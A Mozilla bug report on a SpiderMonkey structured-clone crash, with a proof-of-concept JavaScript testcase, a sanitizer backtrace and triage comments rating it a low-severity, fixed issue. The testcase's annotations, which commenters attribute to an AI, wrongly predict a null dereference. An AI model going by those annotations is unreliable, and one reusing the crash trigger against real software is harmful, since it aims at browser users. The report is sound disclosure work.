Closed Bug 2013540 Opened 8 months ago Closed 8 months ago

Hit MOZ_CRASH(Invalid object. Dead wrapper?) at js/src/vm/JSObject.h:682

Categories

(Core :: JavaScript Engine, defect, P1)

x86_64
Linux
defect

Tracking

()

VERIFIED FIXED
149 Branch
Tracking Status
firefox-esr115 --- wontfix
firefox-esr140 --- wontfix
firefox147 --- wontfix
firefox148 --- wontfix
firefox149 --- fixed

People

(Reporter: decoder, Assigned: jandem)

References

Details

(7 keywords, Whiteboard: [bugmon:update,bisected,confirmed][adv-main149-])

Attachments

(2 files, 1 external file)

The following testcase crashes on mozilla-central revision 20260130-20b1a1e6c530 (fuzzing-opt build, run with --fuzzing-safe --no-threads):

    // PoC: Nuke CCW during structured clone serialization of Error
    // Target: traverseError in StructuredClone.cpp
    // Line 2006: obj->maybeUnwrapAs<ErrorObject>() returns null after CCW is nuked
    // Debug: MOZ_ASSERT(unwrapped) fires
    // Release: null deref on unwrapped->stack() → SIGSEGV
    
    // Step 1: Create a new global (like an iframe's global)
    var g = newGlobal({newCompartment: true});
    
    // Step 2: Create an error in g's realm with a poison message object
    // The message object's toString will nuke all CCWs targeting g's realm
    g.eval(`
      var err = new Error("initial");
    
      // Create a poison object whose toString nukes all CCWs to this realm
      var poison = {
        toString: function() {
          // Nuke all cross-compartment wrappers pointing to objects in this realm
          nukeAllCCWs();
          return "pwned";
        }
      };
    
      // Set the error's message to the poison object
      // When structured clone calls ToString(message), it triggers the nuke
      err.message = poison;
    `);
    
    // Step 3: Get a CCW to g's error in our compartment
    var errCCW = g.err;
    
    // Step 4: Serialize the error - this should trigger the vulnerability
    // traverseError will:
    //   1. GetProperty(obj, "name") - gets "Error" 
    //   2. GetOwnPropertyDescriptor(obj, "message") - gets {value: poison, ...}
    //   3. ToString(messageVal) - calls poison.toString() which nukes ALL CCWs to g
    //   4. obj->maybeUnwrapAs<ErrorObject>() - obj CCW is now dead! Returns null!
    //   5. MOZ_ASSERT(unwrapped) fires in debug, null deref in release
    try {
      serialize(errCCW);
    } catch(e) {
      // Even if it throws, the crash should happen first
    }

Backtrace:

    ==1745956==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x000000000000 (pc 0x5af44f1796c7 bp 0x7ffc90a25720 sp 0x7ffc90a25530 T1745956)
    ==1745956==The signal is caused by a WRITE memory access.
    ==1745956==Hint: address points to the zero page.
        #0 0x5af44f1796c7 in MOZ_CrashSequence(void*, long) /builds/worker/workspace/obj-spider/dist/include/mozilla/Assertions.h:237:3
        #1 0x5af44f1796c7 in js::ErrorObject* JSObject::maybeUnwrapAs<js::ErrorObject>() /js/src/vm/JSObject.h:682:3
        #2 0x5af44f1796c7 in JSStructuredCloneWriter::traverseError(JS::Handle<JSObject*>) /js/src/vm/StructuredClone.cpp:2005:43
        #3 0x5af44f174f4c in JSStructuredCloneWriter::startWrite(JS::Handle<JS::Value>) /js/src/vm/StructuredClone.cpp:2207:14
        #4 0x5af44f16fce2 in JSStructuredCloneWriter::write(JS::Handle<JS::Value>) /js/src/vm/StructuredClone.cpp:2456:8
        #5 0x5af44f16fc24 in WriteStructuredClone(JSContext*, JS::Handle<JS::Value>, JSStructuredCloneData*, JS::StructuredCloneScope, JS::CloneDataPolicy const&, JSStructuredCloneCallbacks const*, void*, JS::Value const&) /js/src/vm/StructuredClone.cpp:777:10
        #6 0x5af44f1838fa in JS_WriteStructuredClone(JSContext*, JS::Handle<JS::Value>, JSStructuredCloneData*, JS::StructuredCloneScope, JS::CloneDataPolicy const&, JSStructuredCloneCallbacks const*, void*, JS::Handle<JS::Value>) /js/src/vm/StructuredClone.cpp:4155:10
        #7 0x5af44f1838fa in JSAutoStructuredCloneBuffer::write(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::CloneDataPolicy const&, JSStructuredCloneCallbacks const*, void*) /js/src/vm/StructuredClone.cpp:4277:13
        #8 0x5af44e685f7b in js::testingFunc_serialize(JSContext*, unsigned int, JS::Value*) /js/src/builtin/TestingFunctions.cpp:6288:18
        #9 0x5af44f157b32 in CallJSNative(JSContext*, bool (*)(JSContext*, unsigned int, JS::Value*), js::CallReason, JS::CallArgs const&) /js/src/vm/Interpreter.cpp:490:13
        #10 0x5af44f157b32 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct, js::CallReason) /js/src/vm/Interpreter.cpp:586:12
        #11 0x5af44f162bad in InternalCall(JSContext*, js::AnyInvokeArgs const&, js::CallReason) /js/src/vm/Interpreter.cpp:653:10
        #12 0x5af44f162bad in js::CallFromStack(JSContext*, JS::CallArgs const&, js::CallReason) /js/src/vm/Interpreter.cpp:658:10
        #13 0x5af44f162bad in js::Interpret(JSContext*, js::RunState&) /js/src/vm/Interpreter.cpp:3272:16
        #14 0x5af44f157736 in MaybeEnterInterpreterTrampoline(JSContext*, js::RunState&) /js/src/vm/Interpreter.cpp:384:10
        #15 0x5af44f157736 in js::RunScript(JSContext*, js::RunState&) /js/src/vm/Interpreter.cpp:460:13
        #16 0x5af44f158c82 in js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JS::Handle<JSObject*>, js::AbstractFramePtr, JS::MutableHandle<JS::Value>) /js/src/vm/Interpreter.cpp:850:10
        #17 0x5af44f158c82 in js::Execute(JSContext*, JS::Handle<JSScript*>, JS::Handle<JSObject*>, JS::MutableHandle<JS::Value>) /js/src/vm/Interpreter.cpp:880:10
        #18 0x5af44f2b70cc in JS_ExecuteScript(JSContext*, JS::Handle<JSScript*>) /js/src/vm/CompilationAndEvaluation.cpp:572:10
        #19 0x5af44e53ea3b in RunFile(JSContext*, char const*, _IO_FILE*, CompileUtf8, bool, bool) /js/src/shell/js.cpp:1387:10
        #20 0x5af44e53e570 in Process(JSContext*, char const*, bool, FileKind) /js/src/shell/js.cpp
        #21 0x5af44e50d3ec in ProcessArgs(JSContext*, js::cli::OptionParser*) /js/src/shell/js.cpp:12110:10
        #22 0x5af44e50d3ec in Shell(JSContext*, js::cli::OptionParser*) /js/src/shell/js.cpp:12363:12
        #23 0x5af44e503876 in main /js/src/shell/js.cpp:12769:12
        #24 0x7f58dc62a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
        #25 0x7f58dc62a28a in __libc_start_main csu/../csu/libc-start.c:360:3
        #26 0x5af44e4cfef8 in _start (/home/decoder/Mozilla/Anthropic/.builds/release/js/dist/bin/js+0x1fe9ef8) (BuildId: e3130fc1030f7cc3946e6339e15c506bc60c7045)
    
    ==1745956==Register values:
    rax = 0x0000000000000000  rbx = 0x00005af44fdb1f00  rcx = 0x00000000000002aa  rdx = 0x00007f58dc804563  
    rdi = 0x00007f58dc805700  rsi = 0x0000000000000000  rbp = 0x00007ffc90a25720  rsp = 0x00007ffc90a25530  
     r8 = 0x0000000000000000   r9 = 0x0000000000000003  r10 = 0x0000000000000002  r11 = 0x0000000000000293  
    r12 = 0x00005af44fdc0440  r13 = 0x00007ffc90a258d0  r14 = 0x00005af477532630  r15 = 0x00000b3a05088040  
    UndefinedBehaviorSanitizer can not provide additional info.
    SUMMARY: UndefinedBehaviorSanitizer: SEGV /builds/worker/workspace/obj-spider/dist/include/mozilla/Assertions.h:237:3 in MOZ_CrashSequence(void*, long)
    ==1745956==ABORTING

This bug is part of a series of bugs reported by Anthropic, thank you for your contributions to Firefox!

Attached file Testcase —

The test uses CCW nuking and we use that in the browser for cutting chrome => content CCWs. Needs more analysis to check if this is something content code might trigger in the browser.

Verified bug as reproducible on mozilla-central 20260130092147-20b1a1e6c530.
Unable to bisect testcase (Testcase reproduces on start build!):

Start: d0c1a4b1cb725aaff109054e060729eb71099baf (20251102212929)
End: 20b1a1e6c530f3506d5378bf5f4da504b6f03661 (20260130092147)
BuildFlags: BuildFlags(asan=True, tsan=False, debug=False, fuzzing=True, coverage=False, valgrind=False, no_opt=False, fuzzilli=False, nyx=False, searchfox=False, afl=False)

Whiteboard: [bugmon:update,bisect] → [bugmon:update,bisected,confirmed]

Bug 2013573 also involves nukeAllCCWs. It might similarly be a case that can't occur in the browser.

See Also: → CVE-2026-4723

Bug 2013612 also involves nukeAllCCWs.

See Also: → CVE-2026-2786

It's a MOZ_CRASH() and doesn't appear to be in a pre-release "verifier" type function. Doesn't that make it safe in practice? Or is there worry that in a different path the dead wrapper might cause mischief?

There's an inconsistency in the reporter that I don't understand. The summary and crash stack say that we're crashing on the MOZ_CRASH in JSObject::maybeUnwrapAs(), but the text says that JSObject::maybeUnwrapAs() returns null and then later we try to dereference it. Maybe the former was generated by the fuzzing harness bug filer?

The crash doesn't seem very bad in the first place, and secondly I think for this to happen chrome JS would have to create a CCW to a content error object, then the content window would have to be closed, and then the chrome JS would have to structured clone the error, perhaps by sending it to another process.

I think we should just call this sec-other.

Keywords: sec-other

I believe the comments in the testcase were generated by Claude. The MOZ_CRASH message exists in only two places in the codebase, both of which are inside implementations of maybeUnwrapAs. It seems pretty clear to me that the summary / crash stack are correct, and Claude's attempts to annotate its own testcase were slightly off.

Flags: needinfo?(jdemooij)
Severity: -- → S3
Priority: -- → P1
Attached file (secure) —
Assignee: nobody → jdemooij
Status: NEW → ASSIGNED

Yes sec-other is right. This should always MOZ_CRASH in release builds.

Flags: needinfo?(jdemooij)
Group: javascript-core-security → core-security-release
Status: ASSIGNED → RESOLVED
Closed: 8 months ago
Flags: in-testsuite+
Resolution: --- → FIXED
Target Milestone: --- → 149 Branch

Verified bug as fixed on rev mozilla-central 20260208200320-af326189e3d9.
Removing bugmon keyword as no further action possible. Please review the bug and re-add the keyword for further analysis.

Status: RESOLVED → VERIFIED
Keywords: bugmon
Whiteboard: [bugmon:update,bisected,confirmed] → [bugmon:update,bisected,confirmed][adv-main149-]
Group: core-security-release
Keywords: keep-hidden
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: